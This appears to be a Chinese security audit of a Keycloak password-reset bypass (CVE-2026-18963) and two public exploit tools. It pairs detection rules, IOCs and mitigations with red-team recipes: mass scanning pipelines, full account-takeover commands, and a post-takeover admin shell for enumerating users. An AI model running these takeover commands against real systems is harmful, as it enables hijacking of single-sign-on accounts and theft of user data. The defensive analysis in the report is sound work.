1.管道即入口(L123-146):-u / -l / stdin 三源合一,stdin 只在 not sys.stdin.isatty() 时读取——管道断开时不挂死。normalize() 把 httpx 输出行剥到 origin(但保留 /auth 前缀,L115-117,这是 Keycloak 老部署的关键路径),裸 host 自动补 https://。subfinder | httpx | KeySniper 开箱即用。2.指纹判定的假阳性纪律(L56-59, L390-393):kc_ok() 要求 HTTP 200 且响应体命中 public_key|"realm"|issuer|openid-configuration|keycloak|login-actions 正则——”任何 200 都当 Keycloak”是这类扫描器最常见的误报源,它用双条件挡住了。词表爆破也只在确认 Keycloak 指纹之后才启动(README:False-positive filter)。3.realm 发现是被动信息收集 + 主动验证的双层(L408-494):先从 Location 头、HTML、JS(每个 JS 截取 200KB)、"realm": JSON、issuer 五类来源正则提取(7 个正则,L60-71,含 URL-encode 形态 realms%2F),再逐个 GET /realms/{name} 验证 200+指纹。SKIP_REALM = {undefined, null, resources, master-admin, account-console}(L72)过滤掉常见噪音。4.版本指纹五路正则(L73-79):登录页标题、JSON "version" 字段、x-keycloak-version 响应头、/resources/<版本号>/ 静态资源路径(Keycloak 把版本号编进 JS/CSS 的 URL,社区熟知的被动版本泄露手法)、kcContext 内嵌版本。输出 ver=26.7.1 直接帮助判定受影响区间。5.利用状态机的证据链输出(L496-622):8 步每步都有 radar 日志;三重确认信号(选择器重渲染 + execution= 变化 + kc-passwd-update-form)以 confirm exec3=... exec6=... 形式写进 Hit.evidence,报告里可直接引用。6.leak-no-update 不计 VULN(L560-566):第⑦步拿不到 kc-passwd-update-form 时归 SKIP 而不是 VULN——和 PoC 的”只断言阳性”同一哲学。扫描器的可信度就是靠这种克制建立的。7.每 realm 独立 cookie 状态(L497 self.s.cookies.clear()):多 realm 顺序尝试时避免上一个 realm 的认证会话污染下一个——很多人自己写脚本会踩这个坑。8.线程安全的彩色输出(L29, L92-103):全局 LOCK 串行化 radar/badge;not sys.stdout.isatty() 时关闭全部 ANSI 转义(L39-40)——重定向到文件/CI 日志时不留乱码。9.退出码是 API(L732-736):0 = 发现 VULN/ATO,10 = 全部 SAFE,2 = 无发现。10 这个非常规值让 shell 脚本能三态区分($? -eq 0 攻击面存在 / -eq 10 已打补丁 / 其他 异常),第 11 章配方 R8 用到。10.--shell 的边界约束(L717-730):单目标才进 shell;VULN(未改密)时提示需要 --takeover 1 重跑;多目标直接拒绝。SessionShell.login() 依次尝试 admin-cli → account 客户端的密码授权(L226-248),命中哪个客户端本身就是情报(admin-cli 通了说明 Direct Access Grants 开着,可打 Admin REST API)。
6.3 缺陷与风险(本审计独立发现,均在源码可复现)
1.表单元素 ID 依赖 → 自定义主题漏报(L520/532/553/567 依赖 kc-reset-password-form / kc-select-credential-form / kc-passwd-update-form)。讽刺的是 Snizi README §5 专门点名批评了这种实现(”A tool that keys on those ids reports a false negative on exactly the deployments that matter most — this one did, before it was rewritten”)。两个仓库在同一议题上的技术分歧是真实存在的,Snizi 的方案更健壮。给 KeySniper 用户的实操建议:对自定义主题目标,用 Snizi PoC 做确认。2.全局 verify=False(L25, L360-362):TLS 校验全局关闭且无开关。对内网 IP/自签场景是实用主义,但意味着工具流量可被中间人劫持——攻击者的攻击器被劫持就轮到自己被打了。加 --verify-tls 开关是起码的。3.自我暴露的 UA(L362):KeySniper/2.0 (CVE-2026-18963)——合法扫描时这叫 attribution,隐蔽行动里这叫自首。(对比:PoC 伪装 Chrome。)蓝队反而应该谢谢它(见 9.2 IOC)。4.静态默认密码 SelaM1337@@(L27):所有使用默认值的接管都会把受害者密码改成同一个字符串——事后全库口令审计一查一个准,也是现成的溯源 IOC。5.无速率限制/无 Jitter:-t 线程直接压目标,配合 ~70 realm 词表与多请求状态机,在脆弱目标上可能造成日志风暴或触发安全设备。没有 --delay 参数。6.版本判定缺失:发现 ver=26.7.1 后并不据此决定是否发动完整流程——一律打满 8 步。对已修复目标多打了两轮无意义请求(倒是 SAFE 判定因此可靠)。7.normalize() 丢路径(L106-120):httpx 输出的深层 URL(如 /auth/realms/foo/account)被剥到 origin——realm 信息本可以从 URL 里预提取,现在是丢掉再重新发现。效率问题,不是正确性问题。8.无许可证:法律上默认保留所有权利,企业红队合规审查时比 MIT 的 Snizi 仓库多一道坎。
6.4 KeySniper 的 8 步与 PoC 的 7 步:同一漏洞的两种叙事
对照两份流程表会发现一个微观分歧:到达邮箱网关表单后,KeySniper 第⑦步 POST 的是 {"username": user},PoC 第⑥步 POST 的是空 body。两者都能过——因为 ResetCredentialEmail.action() 根本不读 body,路由只看 execution 参数。这个分歧无害,但它恰好再次证明:漏洞的开关不在请求内容里,而在服务端状态机的路由逻辑里。
7. 设计哲学对比 + AI 头脑风暴多版本方案
7.1 两个仓库 = 同一问题的两种设计解
| 维度 | 方案 A:雷达优先(KeySniper) | 方案 B:证明优先(Snizi PoC) |
| — | — | — |
| 首要目标 | 单位时间覆盖面(资产 → 漏洞) | 单目标结论可信度(证据链 → 法务可用) |
| 解析基准 | 元素 ID(快,脆) | action URL 路径(稳,绕开主题) |
| 判定状态机 | 5 态,SAFE 也给明确判定 | 4 态, refuse-to-guess(INCONCLUSIVE 兜底) |
| 副作用控制 | 默认只侦测(--takeover 0) | 模式分级 safe-check < check < full,默认值即安全值 |
| 并发 | ThreadPoolExecutor | 无(单目标串行) |
| 依赖哲学 | requests(顺手) | 标准库(跳板机兼容) |
| 复现设施 | 无(截图打码) | Docker A/B lab + 对照组脚本 |
| 可脚本化 | 退出码 0/10/2 + 徽章行 | 退出码 0/1/2/3 + 机器可 grep 判定词 |
7.2 头脑风暴:如果重新设计(三版本对比)
•版本 1(纯攻击视角):把 KeySniper 的并发 realm 发现、版本指纹与 Snizi 的判别器合并,加 --safe-check-first 流水线(先无副作用探测,命中才问操作者是否升级到 –check),加 proxy 开关与 TLS verify 开关,加 --delay/jitter。风险点:功能合流后代码量大,单人维护难。•版本 2(纯防守视角):不做利用,只做三件事——被动版本指纹(/resources/<ver>/)、realm 清单测绘、--safe-check 式探测,输出 JSON 供 CMDB/巡检平台吃。退出码语义保留。这类”只侦测”版本最适合放进企业持续巡检。•版本 3(编排层,推荐落地形态):不重写,做编配——nuclei 模板做持续监测(广度)→ KeySniper 做快速雷达(发现)→ Snizi PoC 做司法级确认(深度)→ lab 做回归。每个环节用各自最强的实现,用 shell/CI 把退出码串起来(配方 R13-R15)。这也是把”多版本对比”落成工程实践的方式:对比的价值不是选出一个赢家,而是知道每一步该用谁。
8. 攻击链与 ATT&CK 映射(红队使用手册)
8.1 在攻击链里的位置
侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 影响行动 ↑ KeySniper 雷达/subfinder/httpx ↑ CVE-2026-18963(无投递、无安装—— ↑ Shodan/FOFA 资产测绘 一次 HTTP 会话直达凭据与会话)
这个漏洞对攻击者的独特价值:跳过了攻击链里最脆弱的三环——投递(钓鱼邮件)、执行(用户交互)、持久化争议(不需要留后门,改密本身就是持久化)。
ATT&CK 映射(top-level 为主):
| 阶段 | 技术 | | — | — | | 侦察 | T1595.002 漏洞扫描(KeySniper 批量探测)、T1589 收集受害者身份信息(–enum 用户枚举) | | 初始访问 | T1190 利用面向公众的应用(SSO 是最优先的高价值暴露面)、T1078 有效账户(接管后用合法凭据进门) | | 持久化/凭据访问 | T1098 账户操作(改密 = 设置攻击者控制的凭据;顺手注销受害者 MFA) |
8.2 接管之后:为什么 SSO 账户 ATO 的杠杆率是普通应用 ATO 的数倍
1.OIDC code 即时登录:流程结束的 302 直接带 authorization code,攻击者当场换取受害者会话——不用二次登录、不触发新设备登录告警(这本来就是”本人操作”的完整流程)。2.横向到所有依赖应用:Keycloak 背后通常挂着 VPN(有 SSO 的 ZyXEL/Fortinet 类门户)、Confluence/Jira/GitLab、内部 OA。一个账户 = 一个 SSO 联盟。3.admin-cli 密码授权(KeySniper --shell 的第一尝试):如果受害者是 realm admin 且 Direct Access Grants 开着,GET /admin/realms 直接可用——从账户接管升级到身份基础设施接管:建后门账户、改 flow、导出全部用户。4.--shell 的 users 命令即潜在的客户数据/员工目录泄露(GDPR 视角也是事故)。
8.3 红队实操注意(授权项目内)
•无副作用探测优先:--safe-check 全程零邮件零写入,可以在项目任何阶段使用;--check 会给真实用户发邮件 + 置位 emailVerified,先在授权书里写明这两个副作用,否则受害者可能向 SOC 报告收到可疑重置邮件——你的测试就变成了应急响应事件。•预期告警:即便只是 --check,SEND_RESET_PASSWORD 事件已经产生。成熟的 SOC 会在你完成利用前打电话来。提前和蓝色队友对好时间窗。•改密演示建议:用专门创建的测试账户跑 --takeover 1(KeySniper)或 --new-password(PoC),跑完立刻用 admin API 还原(lab 的 reset-victim.sh 就是干这个的)。•证据留存:KeySniper 的 confirm exec3/exec6/kc-passwd-update-form 三联证据 + PoC 的 --verbose 全请求日志 + Mailpit 里”邮件未读”截图,构成完整复现包。
9. 蓝队视角:检测、IOC、加固
9.1 先做资产测绘,再谈检测
•外部:Shodan http.html:"/realms/master" / http.html:"keycloak";FOFA body="/realms/master" / title="Keycloak"。证书反查:ssl.cert.subject.CN:"yourdomain" http.html:"/realms/"。•内部:CMDB + 配置扫描,重点回答三个问题——跑的是哪个 26.x?哪个 realm 开了 Forgot Password?有没有钉死在 26.0–26.6(无补丁线)?•版本指纹不用登录就能拿:GET / 页面 JS 引用 /resources/<版本>/ 路径(KeySniper VER_RES 第 4 条正则同款手法)。
9.2 检测规则(按信号强度排序)
信号 1(最强,反向代理/ingress 层)——”有改密,无 token 点击”:
正常重置: POST reset-credentials(username) → GET /login-actions/action-token?...(受害者点链接)→ POST password攻击重置: POST reset-credentials(tryAnotherWay=on) → POST reset-credentials(username) → GET reset-credentials(重入)→ POST reset-credentials(空 body)→ POST password 全程无任何 /login-actions/action-token GET
规则:窗口 N 分钟内,同一源 IP 出现 UPDATE_PASSWORD 成功且此前无 action-token GET → 告警。
信号 2(Keycloak 管理事件):SEND_RESET_PASSWORD 与 UPDATE_PASSWORD 共享同一 code_id 且间隔秒级(lab 实测亚秒级)。注意”用户邮箱本来就开着、手速快”也能造成小间隔——用信号 1 佐证。
信号 3(数据层,攻击者无法避免的残留):emailVerified 从 false 翻成 true,却没有对应 VERIFY_EMAIL 事件。定期对账可发现历史利用。
信号 4(公开工具指纹 IOC):
| IOC | 来源 |
| — | — |
| UA KeySniper/2.0 (CVE-2026-18963) | KeySniper 硬编码(KeySniper.py:362) |
| 密码 SelaM1337@@(对全库凭据做一次离线比对) | KeySniper 默认 --pass |
| 密码 PoCPassw0rd!1 | PoC 默认 --new-password |
| 用户名 zz-nonexistent-probe-4f9a2c7e 的探测请求 | PoC --safe-check 默认 probe id |
| Chrome/125 Linux UA + 6 请求 reset 时序 + 空 body POST | PoC(伪装 UA 后的行为指纹) |
9.3 临时缓解(升级前的止血,按效果排序)
1.逐 realm 关闭 Forgot Password(Realm settings → Login,含 master):官方确认有效,流程入口直接 400。副作用是用户自助重置不可用,需准备人工流程。2.在绑定的 reset 流程里禁用 Reset Password execution:同样有效,但登录页链接还在(自定义主题可能无视 realm 开关,所以仍保留价值)。3.WAF 临时规则(示例语义,按产品实现):对 login-actions/reset-credentials 路径的 POST,若 body 含 tryAnotherWay 则记录;同会话后续出现空 body POST 同路径 → 阻断。注意不要无脑封 tryAnotherWay——正常用户也会点”Try another way”链接,会误伤;要封的是时序组合。4.在 reset 流程邮箱步之后挂 required OTP/WebAuthn:不是修复(PoC README 明确警告),只是把完整接管限制在已注册 MFA 的账户上。5.自定义 reset flow 且从不调用 reset-credential-email 的 realm 不受此路径影响——先盘点 flow 配置再决定动作优先级。
9.4 根治
•社区版升 26.7.2(或 26.8.0+);订阅版按线取 26.4.15 / 26.6.6 / RHSA errata。26.0–26.3、26.5 各线没有补丁,钉死旧线的部署必须做小版本升级规划。•升级后用 Snizi lab 的方法做 A/B 验证:同一 realm 配置分别导入 26.7.1/26.7.2,--safe-check 应分别返回 VULNERABLE(退出 0)/ PATCHED(退出 2)。
10. 实网攻防落地(环境到流程)
10.1 红队项目流水线(外部暴露面场景)
[资产测绘] subfinder/amass → httpx 探活 → KeySniper -q -t 8 --takeover 0(雷达) ↓ [VULN] 命中[确认] Snizi PoC --safe-check(零副作用,取执行号证据)→ --check(授权允许时,无损证明) ↓ 授权范围明确含 ATO 演示[演示] PoC 全量接管(测试账户优先)或 KeySniper --takeover 1 --shell ↓[利用] --shell: token → whoami → realms → users → get <path>(Admin REST 侦察) ↓[报告] evidence 三联 + Mailpit 未读邮件截图 + 事件日志对照(legit_reset.py 对照组) ↓[还原] admin API 改回密码,留存操作记录
内网场景(拿到内网立足点后):fscan/nmap 识别 8080/8443 上的 Keycloak(/realms/master 探针),其余同上。
10.2 蓝队常态化巡检(把攻击器变自己人)
•资产每变化一次跑一轮 --safe-check(对内所有 Keycloak),接入巡检平台;--enum 永远别用(副作用)。•每次升级前,用 Snizi lab 做回归(R6 配方)。•把 9.2 的信号 1/2 做成 SIEM 常驻规则(Elastic/Splunk 语句按各自字段名适配 code_id 关联即可,关键是”改密事件反查 action-token GET 缺失”这个逻辑)。
10.3 已知边界(如实告知甲方/领导)
•PKCE 强制客户端下 PoC 报 INCONCLUSIVE(需换 account 客户端或等上游支持);•全自定义 reset flow(不经过 reset-credential-email)不适用本洞;•WAF/定制网关改变响应形态时两工具都可能 INCONCLUSIVE——按设计,它们会拒绝猜测,人工介入。
11. Cheatsheet:真实帮助输出 + 命令配方(参数 = 可编程模块)
配方设计原则:把每个 CLI 参数看作一个”功能模块”——
--safe-check= 无副作用模块、--check= 无损证明模块、--takeover= 保险栓模块、--shell= 后渗透模块、-t/-q= 吞吐与静音模块、退出码 = 与外部世界的布尔接口。 配方之间按”雷达 → 确认 → 演示 → 还原”编排,可整体嵌入脚本/CI。
11.1 cve_2026_18963_poc.py --help(真实输出)
usage: cve_2026_18963_poc.py [-h] --base BASE --realm REALM [--victim VICTIM] [--new-password NEW_PASSWORD] --client-id CLIENT_ID [--redirect-uri REDIRECT_URI] [--verify-client-id VERIFY_CLIENT_ID] [--insecure] [--verbose] [--check] [--safe-check] [--probe-id PROBE_ID] [--enum FILE] [--enum-delay SEC] [--enum-max N] [--dump FILE]
CVE-2026-18963 Keycloak reset-credentials bypass PoC (authorised testing only) -- https://github.com/Snizi
options: -h, --help show this help message and exit --base BASE Keycloak base URL, e.g. https://sso.example.com --realm REALM --victim VICTIM victim username or e-mail (not used with --enum / --safe-check) --new-password NEW_PASSWORD --client-id CLIENT_ID any enabled public client with the standard flow --redirect-uri REDIRECT_URI a URI permitted by that client --verify-client-id VERIFY_CLIENT_ID client with Direct Access Grants, used only to confirm takeover by fetching tokens (default: --client-id) --insecure skip TLS verification --verbose log every HTTP request --check NON-DESTRUCTIVE: stop once the Update Password form is reached (conclusive proof) instead of changing the password. Two unavoidable side effects: a password-reset e-mail is delivered to the victim, and the vulnerable code sets emailVerified=true on the account. No credential is modified. --safe-check SAFEST detection. Needs no valid username and has no side effects: probes with a deliberately non-existent identifier (so no e-mail is sent to anyone) and stops at the discriminator without ever invoking the e-mail gate. Use this against third parties. --probe-id PROBE_ID the non-existent identifier used by --safe-check --enum FILE username-enumeration mode: newline-delimited candidate identifiers. Reports which exist, never changes a password. NOTE: every VALID hit receives a real reset e-mail and has emailVerified set to true. --enum-delay SEC pause between probes (default 2.0) --enum-max N refuse candidate lists longer than N (default 25); raise deliberately, remembering each probe e-mails a person --dump FILE write the response body to FILE if a step fails
11.2 KeySniper.py -h(真实输出)
usage: KeySniper [-h] [-u URL] [-l LIST] [--takeover {0,1}] [-U USERNAME] [-r REALM] [--pass PASSWORD] [-t THREADS] [-q] [--shell]
CVE-2026-18963 Keycloak reset-credentials ATO scanner
options: -h, --help show this help message and exit -u, --url URL single target -l, --list LIST URL list file --takeover {0,1} -U, --username USERNAME -r, --realm REALM --pass PASSWORD -t, --threads THREADS -q, --quiet --shell interactive token/admin shell after ATO (single target)
(KeySniper README 的 Flags 表补充默认值:-U 默认 admin、-r 默认 auto、--pass 默认 SelaM1337@@、-t 默认 4、--takeover 默认 0。退出码:0=发现漏洞/ATO,10=SAFE,2=无发现。)
11.3 命令配方 R1–R15
R1 · 零副作用单点探测(对任何目标的第一条命令)
python3 cve_2026_18963_poc.py \ --base https://sso.example.com --realm corp \ --client-id account \ --redirect-uri https://sso.example.com/realms/corp/account/ \ --safe-check# 退出码 0=VULNERABLE | 2=PATCHED/MITIGATED | 3=INCONCLUSIVE
R2 · 探测结果进 shell 逻辑(退出码当布尔用)
python3 cve_2026_18963_poc.py --base "$BASE" --realm "$R" --client-id account \ --redirect-uri "${BASE}/realms/${R}/account/" --safe-checkcase $? in 0) echo "VULNERABLE: $BASE realm=$R" >> hits.txt ;; 2) echo "patched-or-mitigated: $BASE" ;; *) echo "INCONCLUSIVE: 人工研判 $BASE(--verbose --dump)" ;;esac
R3 · 判定不明时的诊断组合(verbose + dump 双模块联动)
python3 cve_2026_18963_poc.py --base "$BASE" --realm "$R" --client-id account \ --redirect-uri "${BASE}/realms/${R}/account/" \ --safe-check --verbose --dump /tmp/diag.htmlless /tmp/diag.html # 看⑤重入返回的到底是网关表单、登录页、还是 WAF 拦截页
R4 · 无损证明(–check)——授权书写明两个副作用后使用
python3 cve_2026_18963_poc.py --base https://sso.example.com --realm corp \ --client-id account --redirect-uri https://sso.example.com/realms/corp/account/ \ --victim [email protected] --check --verbose 2>&1 | tee evidence_check.log
R5 · 完整接管 + 指定验证客户端(–verify-client-id 模块)
python3 cve_2026_18963_poc.py --base https://sso.example.com --realm corp \ --client-id account --redirect-uri https://sso.example.com/realms/corp/account/ \ --victim svc-test --new-password 'DemoOnly!x9' \ --verify-client-id poc-app # 一个开了 Direct Access Grants 的客户端,用于改密后取 token 双确认
R6 · 实验室 A/B 回归(升级验证标准动作)
cd lab && docker compose up -d # 26.7.1@:8080 + 26.7.2@:8100 + Mailpit@:8025python3 ../cve_2026_18963_poc.py --base http://localhost:8080 --realm poc \ --client-id poc-app --safe-check # 期望 VULNERABLE (exit 0)python3 ../cve_2026_18963_poc.py --base http://localhost:8100 --realm poc \ --client-id poc-app --safe-check # 期望 PATCHED (exit 2)KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln # 钉任意版本回归KC=http://localhost:8100 lab/reset-victim.sh # 还原 victim 密码docker compose down -v
R7 · 对照组:生成”正常重置”轨迹(给检测规则定标)
python3 lab/legit_reset.py 2> legit.trace # 从 Mailpit 取 token 链接走合法流程python3 cve_2026_18963_poc.py --base http://localhost:8080 --realm poc \ --client-id poc-app --check --verbose 2> exploit.tracediff legit.trace exploit.trace# diff 结果里缺失的 GET /login-actions/action-token 就是检测规则的核心
R8 · KeySniper 雷达三形态(单点 / 列表 / 管道)
python3 KeySniper.py -u https://sso.example.com --takeover 0 # 单点python3 KeySniper.py -l urls.txt --takeover 0 -q -t 8 # 列表静音并发subfinder -d example.com -silent | httpx -silent -mc 200,302,401 \ | python3 KeySniper.py --takeover 0 -t 4 # 资产管道# 注意:管道模式绝不加 --takeover 1 / --shell
R9 · 退出码驱动的 KeySniper 汇报脚本
python3 KeySniper.py -l sso-assets.txt --takeover 0 -q; rc=$?[ $rc -eq 0 ] && { grep -E '^\[VULN|^\[ATO' ks.log | tee vulns.txt; exit 1; }[ $rc -eq 10 ] && echo "全部 SAFE(已打补丁或缓解)"[ $rc -eq 2 ] && echo "无 Keycloak 或无发现"
R10 · KeySniper 指定 realm/用户定向打击(参数做瞄准镜)
python3 KeySniper.py -u https://sso.example.com -r corp -U jsmith --takeover 0# -r 跳过词表爆破只打目标 realm;-U 换目标账户(默认 admin——高价值,注意 admin 接管的爆炸半径)
R11 · ATO 后交互 shell 的标准动作序列
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell# 进入 shell 后按序:# token → admin-cli 密码授权(成功=Direct Access Grants 开启)# whoami → /userinfo 确认身份# realms → GET /admin/realms(通=Admin API 可用,升级为基础设施接管)# users → 用户目录(数据泄露面)# get <path> → 任意 Admin REST GET# creds → 打印当前凭据(写报告用)
R12 · 全程过 Burp(环境变量代理模块——两工具都认)
export https_proxy=http://192.168.1.235:7890 http_proxy=http://192.168.1.235:7890# urllib/requests 默认读取环境代理;接 Burp 换成 http://127.0.0.1:8080 即可逐包观察状态机python3 cve_2026_18963_poc.py --base ... --safe-check --verbose
R13 · 编配:雷达 → 确认两级流水线(版本 3 方案的最小实现)
#!/usr/bin/env bashset -euo pipefailsubfinder -d example.com -silent | httpx -silent -mc 200,302,401 \ | python3 KeySniper.py --takeover 0 -q -t 8 2>/dev/null \ | grep -E '^\[VULN' | awk '{print $2}' > radar.txtwhile read -r base; do for r in master corp internal; do python3 cve_2026_18963_poc.py --base "$base" --realm "$r" \ --client-id account --redirect-uri "${base}/realms/${r}/account/" \ --safe-check && echo "CONFIRMED ${base} realm=${r}" >> confirmed.txt || true donedone < radar.txt
R14 · realm 清单测绘(先发现后打击,避免盲打)
for r in master internal iam sso prod staging; do code=$(curl -sk -o /dev/null -w '%{http_code}' "https://sso.example.com/realms/${r}") [ "$code" = "200" ] && echo "realm alive: $r"done# 或直接用 KeySniper 的发现层:-r auto -q(观察 [radar] realm LIVE 行)
R15 · CI 定时自检(防守方把 R13 反转成资产巡检)
# crontab: 每天 03:00 对自有 SSO 资产跑 safe-check,非 0 退出即告警0 3 * * * /opt/ks/own_assets_check.sh || /opt/ks/alert.sh "Keycloak CVE-2026-18963 复发或新资产暴露"
12. 冷门但准确的命令语法清单(与本工作流强相关)
以下每条都经过语法核对,按”冷门但真有用”筛选:
| 命令 | 说明 |
| — | — |
| curl -sD - -o /dev/null https://host/realms/master | -D - 把响应头打到 stdout,-o /dev/null 丢 body——只看头的最短写法 |
| curl -sk -w '%{http_code} %{time_total}\n' -o /dev/null URL | 批量探活时同时拿状态码和耗时 |
| curl --resolve sso.example.com:443:10.0.0.5 ... | 不改 /etc/hosts 把域名钉到内网 IP(打内网 SSO 但按域名校验 TLS 时必需) |
| curl -x http://192.168.1.235:7890 URL | 单次代理;配合本地 clash 做出网(本报告调研即用此法) |
| python3 cve_...py --check 2> err.log 的 export https_proxy=... | urllib.request / requests 默认读 http_proxy/https_proxy/all_proxy 环境变量——PoC 没有代理参数不代表过不了 Burp |
| KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln | 行首内联环境变量只作用于该命令——compose 里 ${KC_VULN_VERSION:-26.7.1} 的默认值语法 |
| set -euo pipefail | 脚本三件套:出错即退、未定义变量即退、管道任一环失败即退(R13 的可靠性来源) |
| case $? in 0) ... ;; 2) ... ;; *) ... ;; esac | 多分支退出码处理比 if-else 链清晰(R2) |
| grep -E '^\[VULN|^\[ATO' | ERE 交替;注意 | 在 ERE 里写 | 会字面匹配,应写 '^[VULN |
|awk ‘{print $2}’| 取徽章行第二列(URL)——管道里最常用的解构 |
|printf ‘%s\n’ “${arr[@]}”| 比 echo 逐行循环更安全(空格/– 开头元素不出错) |
|mapfile -t lines < file| Bash 4 整文件读数组,while read 的替代 |
|trap ‘rm -rf “$TMP”‘ EXIT| 临时目录自动清理——把"用完删除"写进脚本本身 |
|xargs -P4 -n1 -I{} sh -c ‘…’| 四路并发逐行处理,替代手写线程池 |
|diff -u a b > patch.diff| 统一格式 diff——本报告验证根因用的就是 diff -u 26.7.1 vs 26.7.2 |
|openssl s_client -connect h:443 -servername h /dev/null | openssl x509 -noout -subject -dates| SNI 指定 + 证书主题/有效期一键提取(SSO 资产测绘辅助) |
|openssl x509 -in cert.pem -noout -text | grep -A1 ‘Subject Alternative Name’| 证书 SAN 里翻 SSO 域名 |
|git clone –depth 1 –filter=blob:none URL| 稀疏浅克隆,大仓库审计只要 HEAD |
|git log –oneline –follow — path/to/file| 追踪单文件历史(本次用于验证 6a9e60bb 引入点) |
|python3 -m http.server 8000 –bind 127.0.0.1| 秒起 HTTP 服务收外带/回连验证 |
|timeout 8 curl -sk …| 外层超时兜底,防止挂死脚本 |
|nc -vz host 8080| 端口预检(Git Bash 自带 nc 的 Windows 版本行为可能不同,用 Test-NetConnection 的 PowerShell 替代亦可) |
|netstat -ano | findstr :8080| Windows 侧端口占用排查 |
|cygpath -w /tmp/x.py` | Git Bash ↔ Windows 路径转换(在 Git Bash 里调 Windows 原生 Python 时必需,本次审计实测踩过) |
13. 工具推荐与配套生态
漏洞专项
| 工具 | 用途 | 备注 |
| — | — | — |
| Snizi PoC | 精确判定 + 证据链 + lab | 首选确认器,MIT |
| KeySniper | 批量雷达 + ATO + shell | 无许可证,注意合规审查;自定义主题目标换 PoC 确认 |
| nuclei | 持续监测 | 可按 --safe-check 逻辑写 multi-request 模板(cookie 自动保持;判别器 match execution 参数差异)。需实测后再上生产——multi-request 状态依赖是 nuclei 模板里最容易写错的部分 |
| 自写 curl 序列 | 手工复现/教学 | R14 + 3.4 节请求表即可手搓 |
配套侦察/利用链
•subfinder → httpx:KeySniper 官方钦定上游管道;•fscan / nmap:内网 Keycloak 定位(/realms/master 探针);•Burp/mitmproxy + R12 环境变量代理:逐包理解状态机;•kcadm.sh(Keycloak 自带 Admin CLI):拿到 admin 后的官方运维工具,红队用来”像管理员一样”行事;•Mailpit:任意 SMTP 调试(不只这个 lab);•Docker:lab 回归(R6)。
方法论一句话版:广度交给 nuclei/KeySniper,深度交给 Snizi PoC,复现交给 lab,检测交给”改密无 token 点击”这条反向代理规则。
14. 修复与合规要点(给管理层的压缩版)
1.立即行动:盘点全部 Keycloak(含钉死旧线的)→ 升级 26.7.2 / 订阅版 backport / 至少先关 Forgot Password(逐 realm,含 master)。2.误 区:MFA、SMTP 故障、无邮箱属性账户、”我们的版本线没有补丁所以没事”——四个常见的错误安全感。3.检测先行:升级不产生日志,规则才产生日志。9.2 的信号 1 建议今天就写进 SIEM。4.合规:所有验证动作限定授权资产;--check/--enum 的邮件副作用写进 RoE;KeySniper 无许可证,商用前过法务。
15. 附录:验证记录与引用
本报告的每一个关键论断的验证方式:
| 论断 | 验证手段 |
| — | — |
| 根因代码("true" 粘性 note / 无条件 action()) | 拉取官方 26.7.1 DefaultAuthenticationFlow.java / ResetCredentialEmail.java 原文核对 |
| 修复内容(model.getId + equalsIgnoreCase + ACTION_TOKEN_USER_ID 校验) | 26.7.1 ↔ 26.7.2 diff -u 逐行比对 |
| 引入提交 6a9e60bb(2024-06-21,UX 修复) | GitHub Commits API |
| 修复提交 dc2d4e5(2026-08-20,4 文件,引用内部 PR #986) | GitHub Commits API |
| 版本时间线(26.0.0=2024-10-04,26.7.0=2026-07-09,26.7.2=2026-08-19) | GitHub Releases API |
| 受影响区间与 CVSS/CWE/CNA | GitHub Advisory Database(GHSA-4gv3-mc9p-5wqc)逐字段读取 |
| 两个仓库的提交历史/星标/许可证 | GitHub Repos & Commits API |
| 两工具 -h 输出 | 本机 Python 3.13 实际运行捕获 |
| PoC 行为机理(safe-check 零副作用、enum 代价、A/B lab) | 源码逐行审计 + README 交叉印证(未在本机启动 Docker lab 复跑,作者验证矩阵见其 README §7) |
引用:
•GHSA-4gv3-mc9p-5wqc: https://github.com/advisories/GHSA-4gv3-mc9p-5wqc[3]•Keycloak issue #51833: https://github.com/keycloak/keycloak/issues/51833[4]•修复 PR #51844: https://github.com/keycloak/keycloak/pull/51844[5]•修复 commit: https://github.com/keycloak/keycloak/commit/dc2d4e524b4dae85aedc87ca28b9e4fa567d56c1[6]•Red Hat CVE 页: https://access.redhat.com/security/cve/CVE-2026-18963[7] (Bugzilla #2511595;errata RHSA-2026:56519/56520/56523/56524)•NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-18963[8]•公开报道: The Hacker News《Critical Keycloak Password Reset Flaw》(2026-08);比利时 CCB advisories;r/KeyCloak 社区讨论•工具仓库: https://github.com/Snizi/CVE-2026-18963-Exploit[9] (MIT);https://github.com/ynsmroztas/KeySniper[10] (无许可证)
报告完。分析过程下载的仓库与临时文件已在交付后从本机删除。
References
[1]: https://github.com/ynsmroztas/KeySniper
[2]: https://github.com/Snizi/CVE-2026-18963-Exploit
[3]: https://github.com/advisories/GHSA-4gv3-mc9p-5wqc
[4]: https://github.com/keycloak/keycloak/issues/51833
[5]: https://github.com/keycloak/keycloak/pull/51844
[6]: https://github.com/keycloak/keycloak/commit/dc2d4e524b4dae85aedc87ca28b9e4fa567d56c1
[7]: https://access.redhat.com/security/cve/CVE-2026-18963
[8]: https://nvd.nist.gov/vuln/detail/CVE-2026-18963
[9]: https://github.com/Snizi/CVE-2026-18963-Exploit
[10]: https://github.com/ynsmroztas/KeySniper
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网安之家-CyberHomestead 《CVE-2026-18963-Exploit》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论